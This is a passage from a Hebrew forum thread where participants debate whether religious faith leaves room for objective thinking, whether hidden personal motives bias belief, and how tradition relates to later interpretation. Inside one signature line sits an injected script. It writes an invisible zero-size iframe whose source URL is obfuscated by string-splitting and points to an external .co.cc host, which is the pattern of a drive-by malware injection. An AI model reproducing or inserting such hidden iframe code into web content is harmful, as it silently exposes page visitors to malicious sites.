אופציית הפיקציה

משאיר מקום לענות לי...

אני חוזר:

ואם אין בנו מוכנות, האם אין אנו מקשיבים? האם אין אנו בודקים?

את יודעת מה, אולי זה תלוי באדם.

הביקורת הזו, עכשו אני פתאום שם לב, היא בעצם, הפוך על הפוך, יישום של גישת המוסר של ה"נגיעות". גם המוסרניקים וגם ייתכן שוללים חשיבה חופשית, וכופפים אותה ליעדים רצויים מראש, אולי באופן בלתי מודע כך שאי אפשר להתפטר מזה.

אני מסכים שאדם בהחלט צריך להיות ער ומודע לדברים שהוא מסתיר מעצמו. הסיפור על הסבא מנובהרדוק והמטריה, למשל, הוא בעל ערך (הסבא חשד שהוא רוצה לנסוע לעיר מסויימת לפתוח ישיבה כי חמד מטריה שנמכרה בחנות באותה עיר).

אבל עד כמה זה מעוות?

אני מתחיל לחזור על עצמי. את כותבת שיתכן מעלה את הספק הנורא שאיני אובייקטיבי כפי שאני רוצה להיות. זו טענה שאי אפשר להפריך ואפשר רק ליישם לבדיקה עצמית. כי זה כל האדם.

(אני סבור שניתן לדבר על אמונה, למשל, עם כל אדם, גם עם מי שטוען לכפירה, ואיני מציע לו לבדוק את נגיעותיו. אני כן מזמין אותו לשקלל את מה שאנו יודעים. יש דיון שמתמקד בתוכן ולא במניעים, ומסתמך על היכולת האנושית לחשוב לפי כללי הלוגיקה ולבצע אנליזות. ודי לנו בזה. עובדה שהמדע מתקדם).

***
חילקת בין דת במובן של אמונה בהשם לבין מסורת והלכה.

ושאלת, כמדומה, דווקא על החלק האחרון.

והנה, דווקא כאן יש לי התמודדות כזו על בסיס יומיומי.

ככל שאני מעיין ולומד, כך אני נתקל בפרשנויות שמקוממות אותי. שמבוססות על הנחות יסוד שלא נכונות בעיני. שאיני רוצה להאמין שהן באמת רצון השם, שהן חלק מן המסורת, שהן אפילו מצויות בתלמוד אם לא כופים אותן עליו, או שהן שגגה של דורות ראשונים שהועצמה בידי אחרונים.

(כמובן יש לי כאן הרבה עבודה עצמית על יחסי לראשונים ולאחרונים אבל לא זה הנושא).

אז לחשוב שאני נותן אמון רב מדי במסורת?

לא אני.

אצלי זה מאמץ להפריד בין המסורת בטהרתה לבין מה שאנשים, אפילו אנשים גדולים, עושים ממנה.

_____תוקן סדר המילים במקום משמעותי. טעות שטעיתי.____________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

הרב מיימוני,

אינני יודע אם להתייחס להשוואה לנובהרדוקר כמחמאה או כהערה, אך לא "נגיעות" הן עניינו של אשכול זה.

שאלת היכולות לחשוב ולשנות דעה נידונה בכמה אשכולות, כפי שציין מרכא.

באשכול זה אני מצביע על משהו שונה.

אני מצטט את עצמי שוב.

שים לב לדברים שיצאו ממקלדתך. (ההדגשות שלי).

"אבל אני כן מאמין, אני רוצה להאמין, אני יודע שיש לי ספקות אבל אני מפרש אותם כניסיון, כחולשה, כמה שלא יהיה, ולא אניח להם לשבור אותי".

אתה מנסח את טענתי בצורה מעולה.

רוצה להאמין.

ספקות הן ניסיון.

 אין להישבר.

אתה מכיר עוד דעה בכל תחום שהוא, שאתה מתייחס אליה בצורה כזאת?

כפי שכתבת, "ראוי לשאול למה".

מסתכלים באורייתא ובוראים דעה.

האם אינך רואה שהתייחסות היא בהגדרה כאל מה שרק צריך למצוא את הדרך כדי להאמין וכל השאלות איתן אנו עושים שימוש בחיי היום יום, הופכים להיות ניסיונות שיש להיזהר לא להישבר מהן.

גם אם נקבל חוויות אמונה אישיות ככלי להכרעה, עדיין אין זה מוביל כלל לדת משה וישראל, כפי שציינה כבר לומדת.

פרוטגרוס,

קיצונים חסרי טעם יש והיו תמיד.

מה טעם למצוא עוד שוטים וכי על כך תהיה תפארת הדת?

מה בדיוק אתה רוצה להסיק מכך.

בכל אופן, אפילו הם לא משתמשים בפירוש במילים מעין אלו. זה אומר שהם עדיין חשים בצורך לנמק. העובדה שהם כושלים בכך, או שהם עיוורים למציאות, אינה קשורה לטיעון האשכול.

(במידה מסוימת אני מבין את השקפת עולמם, למרות המציאות. במילה אחת, מבחינתם הם מכוונים למוסר גבוה מאד כלפי עצמם וכל השאר טפל. אני סבור  כי זה לא נכון ולא עומד במבחן המציאות ומנוגד לשכל הישר ולשרידות, אך זו טענה שניתנת להיטען בכלי הטענה הרגילים).

מעבר לקיצונים, הן השמאל השפוי והן הימין הלא משיחי, טוענים לעניין. יש צדדים לכאן ולכאן. אם תפתח אשכול, אציג את שניהם. אף אחד מהם לא מדבר על "רצון" לחשוב כך או כך.

הדתיים, גם הלא קיצוניים, אינם מסוגלים לראות את אי היתכנות הדת כאופציה רלוונטית. הם אף אומרים זאת.